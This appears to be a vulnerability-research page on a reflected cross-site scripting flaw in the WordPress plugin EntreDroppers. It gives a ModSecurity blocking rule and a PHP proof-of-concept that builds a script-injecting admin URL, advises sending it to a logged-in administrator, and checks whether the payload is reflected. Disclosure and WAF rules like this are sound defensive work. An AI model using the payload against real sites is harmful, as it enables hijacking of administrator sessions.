CVE-2026-8628: EntreDroppers <= 1.1.2 Reflected Cross-Site Scripting via PHP_SELF Parameter PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-8628 (metadata-based)
# This rule blocks reflected XSS attacks targeting the EntreDroppers plugin via PHP_SELF
# The attack vector: /wp-admin/admin.php/<payload>/?page=EntreDroppers.php
# We block requests to admin.php where the path-info contains XSS patterns and the page parameter matches the plugin slug.

SecRule REQUEST_URI "@rx ^/wp-admin/admin.php/" 
  "id:20268628,phase:2,deny,status:403,chain,msg:'CVE-2026-8628 EntreDroppers Reflected XSS via PHP_SELF',severity:'CRITICAL',tag:'CVE-2026-8628',tag:'WordPress',tag:'XSS'"
  SecRule ARGS_GET:page "@streq EntreDroppers.php" "chain"
    SecRule PATH_INFO "@rx <script[^>]*>.*</script[^>]*>" "t:urlDecode,t:lowercase"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8628 - EntreDroppers <= 1.1.2 - Reflected Cross-Site Scripting via PHP_SELF Parameter

// This PoC demonstrates how an attacker can exploit the reflected XSS vulnerability
// All payload parameters are configurable below

$target_url = 'http://example.com';  // Change this to the target WordPress URL
$plugin_page = 'EntreDroppers.php';  // The plugin's admin page slug

// The malicious payload is injected into the path-info segment of the URL
// PHP_SELF reflects the path portion, so we encode the XSS payload in the URL path
$payload = '"><script>alert("XSS");</script>';

// Construct the malicious URL
// The payload is placed in the path-info after the script name
$exploit_url = rtrim($target_url, '/') . '/wp-admin/admin.php/' . urlencode($payload) . '/?page=' . $plugin_page;

echo "[+] Atomic Edge CVE-2026-8628 PoCn";
echo "[+] Exploit URL: " . $exploit_url . "n";
echo "[+] Send this link to an authenticated admin user.n";
echo "[+] Upon clicking, the injected script executes in their browser.nn";

// To verify, we can make a request and check if the payload is reflected in the response
// Note: PHP_SELF reflection happens server-side, so we send a raw HTTP request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === false) {
    echo "[!] Error: Could not reach target. Response: " . curl_error($ch) . "n";
    exit(1);
}

// Check if the payload is reflected in the response
// We look for the script tag in the form action attribute or anywhere in HTML
if (strpos($response, '<script>alert("XSS");</script>') !== false) {
    echo "[+] SUCCESS: Payload reflected in response. Vulnerability confirmed.n";
} else {
    echo "[-] Payload not found in response. The target may be patched or not vulnerable.n";
}
?>